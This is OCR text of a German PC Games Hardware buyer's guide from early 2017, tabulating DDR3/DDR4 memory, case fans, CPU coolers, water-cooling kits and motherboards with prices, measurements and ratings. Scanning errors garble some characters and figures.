* Normierte, gewichtete Leistung in Spielen/Anwendungen **Gesamtes System in Watt (Leerlauf oh. Grafikkarte/Crysis 3/@ Spie 


ei Anwendungen); APUs: Leerlauf/BF4/BI/x264 MT, 1080р *** nachgetestet ohne Heftartikel 


Arbeitsspeicher 


www.pcgameshardware.de 


01/17 | PC Games Hardware 


DDR3 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung А PCGH-Preisvergleich 

G.Skill Trident X F3-2666C12D-16GTXD Ca. € 240,- | 2x 8 GiByte DDR3-2666 | 12-13-13-35 | Dual-Rank | 5,4 cm | 1,65 Vol 2,19 | 06/2015 | www.pcgh.de/preis/963433 

F3-1600C7D-16GTX Са. € 110,- |2x8 GiByte DDR3-1600 | 7-8-8-24 Dual-Rank | 5,4 cm | 1,65 Vol 2,39 | 06/2015 | www.pcgh.de/preis/855480 

Corsair Vengeance Pro CMY8GX3M2A1866C9 Ca.€60,- |2x4GiByte DDR3-1866 | 9-10-9-27 Single-Rank | 4,5 cm | 1,50 Vo 2,41 09/2013 | www.pcgh.de/preis/951191 
Kingston Hyper X Savage | HX321C11SRK2/16 Са. € 120,- | 2 x 8 GiByte DDR3-2133 | 11-12-12-30 | Dual-Rank | 3,4 cm | 1,60 Vo 2,47 | 06/2015 | www.pcgh.de/preis/1160242 
Klevv Neo KM3N8GX2W-2133 Са. € 120,- | 2 x 8 GiByte DDR3-2133 | 10-12-12-31 | Dual-Rank | 4,6 cm | 1,60 Vo 2,48 | 03/2016 | www.pcgh.de/preis/1313430 
Crucial Ballistix Tactical BLT2CP8G3D1869DT1TXOEU Ca. € 110,- | 2 x 8 GiByte DDR3-1866 | 9-9-9-27 Dual-Rank | 3,6 cm | 1,50 Vo 2,52 08/2014 | www.pcgh.de/preis/1037301 

DDR4 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung А PCGH-Preisvergleich 
Corsair Vengeance LPX CMK32GX4M4B3600C18 Са. € 290,- 4x8 GiByte DDR4-3600 | 18-19-19-39 | Single-Rank | 3,5 cm | 1,35 Vo 1,89 2/2016 | www.pcgh.de/preis/1379074 
G.Skill Trident Z F4-3200C14Q-32GTZKW Са. € 280,- | 4 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,4 cm | 1,35 Vo 2,06 2/2016 | www.pcgh.de/preis/1383384 
Corsair Vengeance LED CMU32GX4M4C3200C16R Са. Є 240,- |4x 8 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,10 2/2016 | www.pcgh.de/preis/1468728 
Crucial Ballistix Elite BLE4C4G4D32AEEA Са. € 130,- | 4х4 GiByte DDR4-3200 | 16-18-18-36 | Single-Rank | 4,1 cm | 1,35 Vo 2,23 2/2016 | www.pcgh.de/preis/1464325 
Corsair Vengeance LED CMU32GX4M2C3200C16B Са. € 210,- | 2x 16 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vol 2,33 2/2016 | www.pcgh.de/preis/1512560 
F4-3200C16D-16GTZ Са. € 110,- | 2 x 8 GiB DR4-3200 | 16-16-16-36 | Dual-Rank | 4,4 cm | 1,35 Vo 2,48 | 04/2016 | www.pcgh.de/preis/1345305 
Kingston Hyper X Fury HX426C15FBK2/16 Ca. € 110,- | 2 x 8 GiB DR4-2666 | 15-17-17-35 | Dual-Rank | 3,4 cm | 1,20 Vo 2,57 04/2016 | www.pcgh.de/preis/1306647 
Kingston Hyper X Savage | HX424C125B2K2/16 Са. € 120,- | 2x8 GiByte DDR4-2400 | 12-14-14-35 | Dual-Rank | 3,5 cm | 1,35 Vo 2,58 2/2016 | www.pcgh.de/preis/1380048 
Tru P Crucial Ballistix Tactical BLT2C8G4D26AFTA Ca.€90- |2x 8 GiByte DDR4-2666 | 16-17-17-36 | Dual-Rank | 3,8 ст | 1,20 Vo 2,74 | 04/2016 | www.pcgh.de/preis/1314985 
GEIL Dragon GWWA8GB3000C15DC Са. €65,- |2x4GiByte DDR4-3000 | 15-17-17-35 | Single-Rank | 3,2 cm | 1,35 Vo 2,78 | 04/2016 | www.pcgh.de/preis/1320964 

System DDR3: Core i7-4770K, Asus Maximus VI Extreme, Zotac Geforce GT 640; Windows 7 64 Bit SP1, НСІ Memtest Pro * Aufbau von den meisten Herstellern nicht garantiert, ggf. Abweichungen möglich 
System DDR4: Core i5-6600K/Core i7-6700K, Asus Maximus VII Extreme/Ranger und MSI Z170A Gaming М7, MSI Geforce GTX 980 Ti Lightning; Windows 10 64 Bit, НСІ Memtest Pro 
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Einkaufsführer Kühlung 


Preise: Stand 24.11.2016 


WELT Т PREIS-LEISTUNGS-TIPP 


[ERS fT SPAR-TIPP 


Lüfter 

120-mm-Lüfter Preis Anschluss/Kabellánge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 
Noctua NF-F12 PWM Ca. € 18,- | 4-Pin PWM/53 cm Spannungs-Adapter 1.500 U/min 10,2/13,4/18,6 Kelvin | 1,9/0,4/0,1 Sone 2,25 12/2016 | www.pcgh.de/preis/698532 
Blacknoise Eloop B12-PS Ca. € 19,- | 4-Pin PWM/75 cm - 1.500 U/min 10,9/14,1/19,0 Kelvin | 0,8/0,2/0,1 Sone 2,47 12/2016 | www.pcgh.de/preis/820091 
Scythe Glide Stream 120 PWM Ca. € 10,- | 4-Pin PWM/50 cm - 1.300 U/min 10,3/12,2/17,5 Kelvin | 1,5/0,6/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/837136 
Be Quiet Silent Wings 3 PWM Ca. € 18,- | 4-Pin PWM**/50 cm - 1.450 U/min 11,7/14,4/20,7 Kelvin | 0,8/0,2/0,1 Sone | 2,50 12/2016 | www.pcgh.de/preis/1490397 
EKL Alpenfóhn Wing Boost 2 Blue Ca. € 11,- | 4-Pin PWM/84 cm 7-V-Molex-Adapter | 1.500 U/min 12,6/15,5/21,0 Kelvin | 1,4/0,6/0,1 Sone | 2,61 12/2016 | www.pcgh.de/preis/1098135 
Blacknoise Multiframe M12-2 Ca. € 20,- | 3-Pin/44 cm _ 1.250 U/min 12,7/16,1/21,5 Kelvin | 0,6/0,2/0,1 Sone | 2,62 12/2016 | www.pcgh.de/preis/342339 
Arctic F12 PWM Са. Є 4,- |4-Pin PWM**/39 cm - 1.350 U/min 10,0/12,9/18,2 Kelvin | 1,6/0,5/0,1 Sone | 2,63 12/2016 | www.pcgh.de/preis/458676 
Blacknoise Black Silent Pro PL-2 Ca. € 12,- | 3-Pin/75 cm - 1.400 U/min 12,3/15,4/20,5 Kelvin | 1,1/0,4/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/476778 
Be Quiet Silent Wings 2 PWM Ca. € 18,- | 4-Pin PWM/44 cm - 1.500 U/min 12,2/15,2/20,8 Kelvin | 1,0/0,3/0,1 Sone 2,65 12/2016 | www.pcgh.de/preis/877395 
Be Quiet Shadow Wings SW1 Ca. € 12,- | 3-Pin/45 cm - 2.200 U/min 8,9/11,2/15,6 Kelvin | 2,8/1,0/0,2 Sone | 2,76 12/2016 | www.pcgh.de/preis/684033 
Cooler Master Silencio FP 120 PWM | Ca. € 10,- | 4-Pin PWM/44 cm - 1.400 U/min 13,1/16,9/23,1 Kelvin | 0,7/0,4/0,1 Sone 2,78 12/2016 | www.pcgh.de/preis/1227673 
140-mm-Lüfter Preis Anschluss/Kabellánge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 
Blacknoise Eloop B14-PS Ca. € 25,- | 4-Pin PWM/75 cm _ 1.200 U/min 8,8/11,0/15,2 Kelvin ‚2/0,3/0,1 Sone | 2,03 01/2016 | www.pcgh.de/preis/1313838 
Thermaltake Riing 14 RGB Ca. € 24,- | 4-Pin PWM/45 cm 2-stufig 1.400 U/min 9,1/11,3/16,9 Kelvin ‚6/0,7/0,1 Sone | 2,27 01/2016 | www.pcgh.de/preis/1348647 
Noctua NF-A14 FLX Ca. € 20,- | 3-Pin/53 cm 2 Spann.-Adapter 1.200 U/min 9,5/12,0/16,9 Kelvin ,2/0,4/0,1 Sone 2/27 01/2016 | www.pcgh.de/preis/870798 
Aerocool Dead Silence White Ed. 140mm | Ca. € 20,- | 3-Pin/50 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/18,3 Kelvin | 0,7/0,3/0,1 Sone | 2,33 01/2016 | www.pcgh.de/preis/1058907 
Blacknoise Black Silent Pro PK-2 Ca. € 16,- | 3-Pin/75 cm - 1.200 U/min 10,2/12,8/18,1 Kelvin | 1,2/0,5/0,1 Sone | 2,39 01/2016 | www.pcgh.de/preis/476867 
Fractal Design Venturi HP-14 PWM Ca. € 19,- | 4-Pin PWM/50 cm - 1.500 U/min 9,6/11,7/18,2 Kelvin ,6/0,6/0,1 Sone 2,41 01/2016 | www.pcgh.de/preis/1266895 
Enermax T.B.Silence PWM 140mm Ca. € 11,- | 4-Pin PWM/49 cm - 1.200 U/min 9,2/11,8/16,0 Kelvin ‚710,6/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/886129 
Silverstone SST-FQ141 Ca. € 20,- | 4-Pin PWM/29 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/17,6 Kelvin | 1,1/0,4/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/1170330 
Be Quiet Silent Wings 2 PWM Ca. € 19,- | 4-Ріп PWM/45 cm - 1.000 U/min 11,4/15,3/21,0 Kelvin | 0,5/0,1/0,1 Sone 2,44 01/2016 | www.pcgh.de/preis/877396 
Phanteks PH-F140SP Ca. € 15,- | 3-Pin/92 cm - 1.200 U/min 8,9/11,5/16,2 Kelvin ‚710,5/0,1 Sone 2,45 01/2016 | www.pcgh.de/preis/1112616 
Nanoxia Cool Force Ca. € 10,- | 3-Pin/43 cm Vorwiderstand 1.100 U/min 12,2/14,6/20,3 Kelvin | 0,4/0,2/0,1 Sone | 2,47 01/2016 | www.pcgh.de/preis/1395404 
Enermax Cluster Advance Ca. € 13,- | 4-Pin PWM/49 cm 3-stufig an Lüfternabe | 1.500 U/min 8,4/10,1/14,8 Kelvin | 2,8/1,4/0,3 Sone | 2,65 01/2016 | www.pcgh.de/preis/1186749 
Akasa 14cm Apache Black Ca. € 17,- | 4-Ріп PWM/40 cm - 1.300 U/min 8,1/10,2/14,0 Kelvin | 2,8/1,1/0,3 бопе 2,72 01/2016 | www.pcgh.de/preis/681031 
Noctua NF-A14 Industr.-PPC-2000 PWM | Ca. € 27,- | 4-Pin PWM/40 cm - 2.000 U/min 6,9/8,1/11,8 Kelvin 3,8/1,9/0,5 Sone 2,75 01/2016 | www.pcgh.de/preis/1115473 
Be quiet Pure Wings 2 140mm Ca.€8,- | 3-Pin/45 cm - 1.000 U/min 11,8/15,6/21,1 Kelvin | 0,6/0,2/0,1 Sone 2,88 01/2016 | www.pcgh.de/preis/994425 Hrüuinre 
180-mm-Lüfter Preis Anschluss/Kabellánge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* Test in PCGH-Preisvergleich 
Phobya G-Silent 18 rot Ca. € 20,- | 3-Pin/50 cm - 700 U/min 7,3/9,0/12,6 Kelvin 0,6/0,2/0,1 Sone 172 04/2015 | www.pcgh.de/preis/955636 


* Auf Alphacool Nexxxos XT45 120/140/180 mm 


adiator, Differenztemperatur Wasser/Luft; Wärmequelle: Xeon E5-2687W (150 W TDP); Messung bei 100/75/50 % Lüfterdrehzahl; ** 


essung mit analoger Ansteuerung; bei PWM-Ansteuerung ggf. zusätzliche Störgeräusche 


Prozessorkühler 


Modell Preis Maße (B x H x T) Gewicht СРИ-Тетр. 1,0 Sone | CPU-Temp. (100/75/50 %) | Lautheit (100/75/50 %) Test in 
Noctua NH-D15 Ca. € 85,- 51 x 175 x 162 mm; 1312g | 50,8 °C (1.020 U/min) 48,1/49,9/54,5 °C 3,0/1,2/0,2 Sone 2,08 | 09/2015 | www.pcgh.de/preis/1098241 
Thermaltake Frio Extreme Silent 14 Dual | Ca. € 80,- 57 x 166 x 146 mm; 1235 g 50,3 °C (1.000 U/min) 49,6/52,1/61,2 °С 1,6/0,6/0,1 Sone 2,11 09/2015 | www.pcgh.de/preis/1196525 
Scythe Fuma Ca. € 44,- 38 х 149 x 131 mm; 923 g 52,0 °C (900 U/min) 48,5/50,8/56,2 °C 2,9/1,3/0,4 Sone 2,13 05/2016 | www.pcgh.de/preis/1339886 
Noctua NH-U14S Ca. € 70,- 52 x 166 x 80 mm; 938 g 51,4 *C (1.140 U/min) 49,7/52,1/58,7 *C 1,8/1,1/0,3 Sone 2,16 12/2014 | www.pcgh.de/preis/929404 
EKL Alpenfóhn Olymp Ca. € 60,- 55 х 161 x 151 mm; 1.1879 — | 52,8 °C (1.020 U/min) 50,8/53,5/61,5 °C 2,0/0,9/0,1 Sone 2,18 | 05/2016 | www.pcgh.de/preis/1386052 
Thermalright Macho Rev. B Са. € 43,- 42 x 173 x 129 mm; 877 g 52,2 °C (1.190 U/min) 51,2/54,7/62,9 °C 1,2/0,5/0,2 Sone 2,22 02/2015 | www.pcgh.de/preis/1193857 
Soythe Ninja 4 Ca. € 45,- 32 х 155 x 155 mm; 905 g 52,4 *C (1.170 U/min) 50,6/53,2/60,3 *C 2,1/0,7/0,2 Sone 2,22 09/2015 | www.pcgh.de/preis/1267181 
Thermalright Macho Direct Са. € 37,- 52 x 162 х 128 mm; 823 g 52,1 °C (1.190 U/min) 52,1/54,8/61,3 °C 1,0/0,3/0,1 Sone** 2,23 04/2016 | www.pcgh.de/preis/1372274 
Thermalright Silver Arrow ITX Ca. € 70,- 67 x 163 x 105 mm; 775 g 52,1 *C (1.070 U/min) 50,2/54,3/62,9 °C 1,5/0,5/0,1 Sone 227 05/2016 | www.pcgh.de/preis/1209699 
Be Quiet Dark Rock Pro 3 Са, € 75,- 41 x 164 х 150 mm; 12449 | 51,6 °C (1.340 U/min) 50,3/52,1/55,6 °C 2,1/0,9/0,3 Sone 2,29 | 09/2015 | www.pcgh.de/preis/1054341 
EKL Alpenföhn Brocken 2 Ca. € 40,- 53 x 173 x 98 mm; 840 g Nicht mögl. (max. 0,8 Sone) | 53,8/57,7/64,6 °C 0,8/0,2/0,1 Sone 2,38 09/2015 | www.pcgh.de/preis/912549 
Cryorig R1 Ultimate Ca. € 75,- 44 x 166 х 144mm; 13169 | 52,5 °C (900 U/min) 48,7/50,8/55,8 °C 3,9/1,8/0,5 Sone 2,43 09/2015 | www.pcgh.de/preis/1062161 
Thermaltake Frio Silent 14 Ca. € 40,- 50 х 165 x 68 mm; 633 g 54 °С (1.060 U/min) 52,2/55,4/63,9 °C 1,2/0,3/0,1 Sone 2,48 12/2014 | www.pcgh.de/preis/1157899 
Cooler Master Hyper 612 Ver.2 Ca. € 40,- 51 x 162 x 131 mm; 945 g Nicht mögl. (maxi. 0,9 Sone) | 54,9/58,2/-* °C 0,9/0,3/-* Sone 2,50 12/2014 | www.pcgh.de/preis/1172666 
Noctua NH-D155 Ca. € 80,- 49 x 163 x 134 mm; 1.153g | 53,2 °C (1.080 U/min) 50,3/53,2/60,3 °C 2,3/1,0/0,3 Sone 2,54 | 05/2016 | www.pcgh.de/preis/1271076 
EKL Alpenföhn Brocken Eco Ca.€31,- |131x 151 x 88 тт; 612 g 55,9 °C (1.240 U/min) 53,7/57,4/64,2 °C 1,4/0,5/0,1 Sone 2,55 12/2014 | www.pcgh.de/preis/1081623 
Arctic Freezer i32 Ca. € 28,- 24 x 150 x 74 mm; 659 g 53 *C (1.270 Ulmin) 53,0/58,3/67,3 °C 1,0/0,4/0,2 Sone** 2,56 04/2016 | www.pcgh.de/preis/1325324 
Cooler Master Hyper 4125 Ca. € 39,- 32x 162 x 97 mm; 580 g Nicht mögl. (max. 0,8 Sone) | 56,7/59,1/67,2 °C 0,8/0,3/0,1 Sone 2,62 09/2015 | www.pcgh.de/preis/697260 
Cryorig H5 Universal Ca. € 45,- 43 x 162 x 98 mm; 851 g 56,3 *C (960 U/min) 52,9/55,6/59,9 °C 3,0/1,2/0,3 Sone 2,64 12/2014 | www.pcgh.de/preis/1147852 
Be Quiet Shadow Rock Slim Ca. € 38,- 41 x 159 x 73 mm; 702 g 54,8 °C (1.220 U/min) 53,5/57,1/64,3 *C 1,6/0,5/0,1 Sone 2,69 | 09/2015 | www.pcgh.de/preis/1054903 
Noctua МН-С145 Ca. € 75,- 46 x 142 x 164 mm; 1.013 9 | 57,3 °C (980 U/min) 53,2/55,7/62,3 °C 3,1/1,4/0,3 Sone 2,98 | 04/2016 | www.pcgh.de/preis/1271077 
LC Power Cosmo Cool LC-CC-120-X3 | Са. Є 75,- | 140 х 159 х 171 mm; 11800 55 °C (960 U/min) 50,7/52,5/56,0 °C 4,8/2,2/0,6 Sone 3,00 | 09/2015 | www.pcgh.de/preis/1192074 
Enermax ETS-TAOF-RF Ca. € 35,- 40 x 163 x 67 mm; 593 g 59,7 °C (900 U/min) 57,0/60,6/68,2 °C 2,2/0,9/0,2 Sone SD) 04/2016 | www.pcgh.de/preis/1312836 
Cooler Master Hyper 212X Ca. € 30,- 20 x 160 x 80 mm; 605 g 58,9 °C (1.200 U/min) 55,2/58,9/70,5 °C 2,2/1,0/0,4 Sone 3,17 04/2016 | www.pcgh.de/preis/1295913 
EKL Alpenföhn Atlas Ca. € 40,- 08 x 124 x 138 mm; 643 g 61 °C (1.500 U/min) 60,0/66,4/83,7 °C 1,5/0,5/0,2 Sone 3,42 04/2016 | www.pcgh.de/preis/1302535 
EKL Alpenföhn Ben Nevis Са. € 22,- 18 x 141 x 71 mm; 490 g 63 *C (1.420 U/min) 61,0/65,2/75,4 °C 2,1/0,6/0,1 Sone 3,80 09/2015 | www.pcgh.de/preis/1211188 

* Betrieb mit 50 Prozent Drehzahl nicht möglich ** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Stórgeráusche 
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Einkaufsführer Wasserkühlung & Mainboards |... 


CETTE TT PREIS-LEISTUNGS-TIPP LEINE ET SPAR-TIPP 


Vorgefüllte Kompakt- und modulare Wasserkühlungen 


Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) ВИ PCGH-Preisvergleich 
Alphacool Eisbaer 240 Ca. € 120,- | 274 x 124 x 55 mm 50,7 *C (1.020 U/min) 49,4/51,2/56,0 *C 3,9/1,9/,6/0,1 Sone 1,56 08/2016 | www.pcgh.de/preis/758311939 

YI T Arctic Liquid Freezer 240 Ca.€80,- | 273 х 120 x 88 mm 47,4 °C (970 U/min) 47,9/50,5/56,7 °C 2,5/1,0/,2/0,2 Sone** 1,78 03/2016 | www.pcgh.de/preis/1341649 
EK Water Blocks EK-XLC Predator 360 | Ca. € 230,- | 415 x 136 x 69 mm 48,1 °C (900 U/min) 44,8/47,2/54,0 °C 6,1/3,3/1,4/0,4 Sone** 2,12 03/2016 | www.pcgh.de/preis/1311746 
Cooler Master Nepton 240M Ca. € 100,- | 277 x 123 x 59 mm 49,7 °C (1.320 U/min) 48,2/50,6/56,6 °C 4,3/2,1/,6/0,2 Sone 2,13 06/2015 | www.pcgh.de/preis/1184616 
Enermax Шатах II 240 Са. € 70,- | 275 х 120 x 53 mm 53,3 °C (1.020 U/min) 51,4/53,7/60,9 °C 2,8/1,3/,4/0,3 Sone 2,20 06/2015 | www.pcgh.de/preis/1214287 
Antec Kühler H20 1200 Pro Ca.€80- |276x120x52mm 51,7 *C (1.000 U/min) 50,0/51,8/57,6 °C 4,2/2,0/,7/0,1 Sone 2,25 04/2016 | www.pcgh.de/preis/1374223 
EK Water Blocks EK-XLC Predator 240 | n. verfüg. 296 x 136 x 69 mm 50,0 *C (1.020 U/min) 47,2/50,7/61,5 °C 5,0/2,8/1,0/0,5 Sone** 2,40 03/2016 | www.pcgh.de/preis/1311737 
Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) ВИ PCGH-Preisvergleich 
Alphacool Nexx. Cool Answer 240 D5/ST | Ca. € 250,- | 275 x 124 x 55 mm 49,6 *C (1.120 U/min) 49,6/51,3/57,4 °C 1,0/0,5/0,1/0,1 Sone 1,24 09/2016 | www.pcgh.de/preis/1132495 
EK Water Blocks EK-Kit $240 Ca. € 200,- | 282 х 121 x 52 mm 49,2 *C (1.200 U/min) 47/49,2/53 °C 2,3/1,0/0,3/0,1 Sone 1,34 09/2016 | www.pcgh.de/preis/1443185 
XSPC Ray Storm Pro lon AX240 Kit Ca. € 240,- | 287 x 128 x 65 mm 48,9 *C (1.000 U/min) 45,6/47,4/51,8 °C 2,9/1,3/0,5/0,3 Sone 1,58 09/2016 | www.pcgh.de/preis/1450064 

Temperatur- und Lautheitsmessungen entsprechen Luftkühlern, aber das Benotungssystem weicht ab. Wertung nicht vergleichbar! * Messung mit analoger Ansteuerung. Bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche. 


Mainboards für AMD-Prozessoren 


Sockel FM2+ Preis Chip/Format | Slotanzahl USB 3.0 (Front)/SATA3 | Besonderheiten | Stromverbrauch* ТҮҮЛ PCGH-Preisvergleich 
Asus A88X-Pro Ca. € 110,- | ASBX/ATX x16 (2), x1 (2), PCI (2) | 4 x (6 )/6 х 6Gb/s BIOS-Flashback 38,1/173,2 Wat 1,66 | 03/2014 | www.pcgh.de/preis/1001720 
Asrock FM2A88X-- Killer Са. Є 95,- | A88X/ATX x16 (2), x1 (2), PCI (3) | 4 x (2 x)/8 х 666/5 Killer Е2200 LAN | 25,1/163,3 Wat 1,67 | 03/2014 | www.pcgh.de/preis/1051505 
Yura Gigabyte G1.Sniper A88X Са. € 90,- | A88X/ATX x16 (2), x1 (3), PCI (2) | 2x (2 x)/8 х 666/5 HQ-D/A-Wandler | 34,4/172,2 Wat 1,69 | 03/2014 | www.pcgh.de/preis/994595 
Sockel AM3+ Preis Chip/Format | Slotanzahl USB 3.0 (Front)/SATA3 | Besonderheiten | Stromverbrauch* WELTI) PCGH-Preisvergleich 
Asrock 990FX Killer Ca. € 130,- | 990/ATX x16 (3), x1 (2), PCI (0) | 4 (2 х)/5 x 6Gb/s M.2-Schnittstelle | 60,7/287,4 Wat 1,76 | 09/2014 | www.pcgh.de/preis/1051502 
Asus Crosshair Formula-Z Ca. € 220,- | 990/ATX x16 (4), x1 (2), PCI (0) | 4 (2 x)/8 х 6Gb/s Gut übertaktbar | 67,0/290,4 Wat 1,84 |09/2014 | www.pcgh.de/preis/823995 
Asus 990FX Sabertooth Ca. € 170,- | 990/ATX x16 (4), x1 (1), PCI (1) | 4 x (2 x)/8 х 6Gb/s E-SATA 81,4/334,7 Wat 1,89 | 09/2014 | www.pcgh.de/preis/827096 
DEI Asus М5А97 R2.0 Са. € 80,- | 970/ATX x16 (2), x1 (2), PCI (2) | 2 x (4 x)/6 х 6Gb/s BIOS-Flashback 58,8/277,6 Wat 1,89 | 01/2013 | www.pcgh.de/preis/818969 


* Leistungsaufnahme des ganzen PCs (A10-850K bzw. FX-8350 + HD 7970; 2x 2 GiB DDR3-1333) bei Windows-Leerlauf/Stabilitätstest 


Mainboards für Intel-Prozessoren 


Sockel 1151 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Gigabyte Z170X-Gam. G1 | Са. € 540,- | Z170/E-ATX | x16*/x0*/x16*/x0* & x1/x1/x1 | 3.0x4**; 3.0x4** | Sound Core | 2/0x3.1; 7/4x3.0; 10x | 6 (2x PWM) 1,64 0/2015 | www.pcgh.de/preis/1306474 
Asus Z170-Deluxe Ca. € 280,- | Z170/ATX | x16*/x0* & x1/x1/x1/x1/x2* 3.0x4 ALC1150 | 6/0x3.1; 1/4x3.0; 8x | 7 (6x PWM) 1,77 0/2015 | www.pcgh.de/preis/1306329 
Asus Maximus VIII Ranger | Ca. € 180,- | Z170/ATX | x16*/x0* & x1/x1/x1/x4 3.0x4 ALC1150 | 2/0x3.1; 2/4x3.0; 6x | 7 (7x PWM) 1,78 1/2015 | www.pcgh.de/preis/1306336 
MSI Z170A Gaming Pro п. verfüg. | Z170/ATX | x16*/x0* & x1/x1/x1/x4 3.0x4** ALC1150 | 2/0x3.1; 4/2x3.0; 6x | 5 2x PWM) 2,12 1/2015 | www.pcgh.de/preis/1306786 
I y Asrock 2170 Gaming K4 | Ca. € 120,- | Z170/ATX | x16 & х1/х1/х4/х1 3.0x4 ALC1150 | 0/0x3.1; 6/2x3.0; 6x | 6 (6x PWM) 2,15 1/2015 | www.pcgh.de/preis/1306625 
Gigabyte Z170X-Gaming 3 | Ca. € 140,- | 2170/АТХ | x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1150 | 2/0x3.1; 3/4x3.0; 6x | 5 (1x PWM) 2,23 1/2015 | www.pcgh.de/preis/1306467 
MSI Z170A Gaming M7 Ca. € 210,- | Z170/ATX | x16*/x0* & х1/х0*/х0*/х0*/х4* | 3.0x4; 3.0x4*** | ALC1150 | 2/0x3.1; 2/4x3.0; 6x | 5 (3x PWM) 2,31 0/2015 | www.pcgh.de/preis/1306689 
EVGA 7170 Classified п. verfüg. | Z170/E-ATX | x16*/x0*/x0*/x0*/x0* & x4 3.0x4**: 3.0x1 Sound Core | 0/2x3.1; 6/2x3.0; 8x | 7 (7x PWM) 2,39 0/2015 | www.pcgh.de/preis/1306951 
Asrock 2170 Extreme4 Ca. € 140,- | 2170/АТХ x16*/x0* & x1/x1/x1/x4 3.0x4** ALC1150 | 2/0x3.1; 6/2x3,0; 6x | 5 (4x PWM) 2,46 08/2016 | www.pcgh.de/preis/1306610 
Supermicro С72170-50 Ca. € 220,- | ZI70/ATX x16*/x0*/x0* & x1/x4/x1 3.0x4 ALC898 1/0x3.1; 2/4x3.0; 6x | 5 (5х PWM) 2,50 0/2015 | www.pcgh.de/preis/1307677 
MSI H170A PC Mate Ca. € 100,- | H170/ATX x16 & x0*/x0*/x0*/x4* 3.0x4** ALC887 2/0x3.1; 4/2x3,0; 6x | 4 (2x PWM) 2,59 08/2016 | www.pcgh.de/preis/1319556 
Biostar 2170GT7 Ca. € 170,- | ZI70/ATX x16*/x0* & х1/х0*/х4*/х0*/х4 | 3.0x4** ALC898 1/0x3.1; 5/2x3,0; 6x | 5 (5x PWM) 2,73 08/2016 | www.pcgh.de/preis/1390374 
ПТМ Asrock B150M Pro4S Са. € 70,- | BIBO/gATX | x16 & x1/x1/x4 - ALC892 0/0x3.1; 4/2x3,0; 6x | 3 (3x PWM) 2,91 08/2016 | www.pcgh.de/preis/1318332 
Super Micro C7H170-M n.verfüg. | H170/pATX | x16 & x4/x1 3.0x4 ALC1150 | 0/0x3.1; 4/2x3,0; 6x | 5 (bx PWM) 3,37 08/2016 | www.pcgh.de/preis/1326288 
Asus H110M-Plus Са. € 70,- | H110/UATX | x16 & x1(2.01)/x1(2.01) - ALC887 2/0x3.1; 2/2x3,0; 4x | 2 (2x PWM) 3,46 08/2016 | www.pcgh.de/preis/1350313 
Sockel 2011-v3 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asrock X99 Taichi Ca. € 270,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4; 3.0x4 ALC1150 | 2/x3.1; 3/2x3,0; 10x | 5 (3x PWM) 1,83 0/2016 | www.pcgh.de/preis/1462624 
Asus Strix X99 Gaming Ca. € 300,- | X99/ATX x16*/x16/x0* & x0*/x1*/x1* 3.0x4 ALC1150 | 2/x3.1; 4/4х3,0; 10x | 6 (6x PWM) 1,84 0/2016 | www.pcgh.de/preis/1441449 
Asrock X99 Extreme4/3.1 | Ca. € 240,- | X99/ATX x16/x16/x0* & x4/x1 3.0x4* ALC1150 |/x3.1; 4/2x3,0; 10x | 6 (2x PWM) 1,85 0/2016 | www.pcgh.de/preis/1252790 
Gigabyte X99-Ultra Gam. | Ca. € 290,- | X99/ATX x16*/x16*/x0*/x0* & x1 3.0x4 ALC1150 | 2/x3.1; 6/4x3,0; 10x | 5 (3x PWM) 1,88 0/2016 | www.pcgh.de/preis/1446348 
Asus X99-E Ca. € 230,- | X99/ATX x16/x16/x0* & x1/x1 3.0x4* ALC1150 | 1/x3.1; 4/4х3,0; 10x | 5 (5x PWM) 1,94 0/2016 | www.pcgh.de/preis/1441447 
ID Ms X99A Raider Ca. € 210,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4 ALC892 2/x3.1; 412х3,0; 10x | 5 (2x PWM) 1,94 0/2016 | www.pcgh.de/preis/1247988 
MSI X99A Gam. Pro Carb. | Ca. € 300,- | X99/ATX x16*/x16/x0*/x0* & x1/x1 3.0x4* о. 2.0x2** | ALC1150 | 2/x3.1; 4/5x3,0; 10x | 5 (1х PWM) 1,96 0/2016 | www.pcgh.de/preis/1443681 
EVGA X99 FTW K n.verfüg. | X99/E-ATX | x16*/x0*/x0*/x16*/x0* & x1 3.0x4* ALC1150 | 2/x3.1; 4/4x3,0; 10x | 7 (7x PWM) 2,10 0/2016 | www.pcgh.de/preis/1452679 
Sockel 1150 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asrock 797 Extreme6 Ca. € 150,- | 297/АТХ x16*/x0* & x1/x1*/x2 3.0x4*; 2.0x2** | ALC1150 | 0x3.1; 6/4x3.0; 10x | 6 (2x4-Pin) 1,90 06/2015 | www.pcgh.de/preis/1106887 
